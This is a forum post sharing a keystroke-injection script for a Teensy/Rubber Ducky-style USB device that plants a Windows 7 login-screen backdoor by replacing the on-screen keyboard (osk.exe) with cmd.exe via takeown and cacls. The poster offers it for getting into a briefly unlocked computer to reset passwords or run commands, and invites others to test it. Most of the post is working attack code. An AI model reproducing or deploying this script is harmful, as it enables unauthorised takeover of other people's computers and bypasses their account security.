[Version 1] Windows 7 Back-door Login

[benownzu93]

If you have plenty of time behind a pc when it's locked, logged off or shut down. But only A few seconds when it logged in, this code will allow you to change the users password or run any command at the login screen.

This works by replacing an ease of access tool with command prompt I used the on screen keyboard (osk.exe) in this code but you can also use Magnify.exe or Utilman.exe

When you have run this while the computer is logged in, you will be able to open the ease of access menu on the login screen and select the tool you have replaced with cmd. if you have replaced Utilman then cmd will popup when you click the ease of access button.

void setup() {
  delay(7000);
  cmd();
  delay(4000);
  uac();
  delay(1000);
  Keyboard.print("takeown /f osk.exe /a");
  enter();
  Keyboard.print("cacls osk.exe /p %username%:F");
  enter();
  Keyboard.print("Y");
  enter();
  Keyboard.print("takeown /f cmd.exe /a");
  enter();
  Keyboard.print("cacls cmd.exe /p %username%:F");
  enter();
  Keyboard.print("Y");
  enter();
  Keyboard.print("ren osk.exe osk_.exe");
  enter();
  Keyboard.print("xcopy cmd.exe osk.exe");
  enter();
  Keyboard.print("f");
  enter();
  Keyboard.print("exit");
  enter();
} 

void loop() {
    digitalWrite(PIN_D6, LOW);   // LED on
    delay(random(1000));                  // Slow blink
    digitalWrite(PIN_D6, HIGH);  // LED off
    delay(random(1000));
}
void cmd(){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  Keyboard.print("cmd");
  delay(700);
  Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}
void uac(){
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  enter();
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}

I have tested all the all the steps but not run this code on my ducky yet, i don't have time to reset all the permissions on the files.

Please test it and let me know what you think.

[benownzu93]

I just figged that kinda what you can use kon boot for. but I guess this works if they have a bios password, and you don't fancy going inside there computer.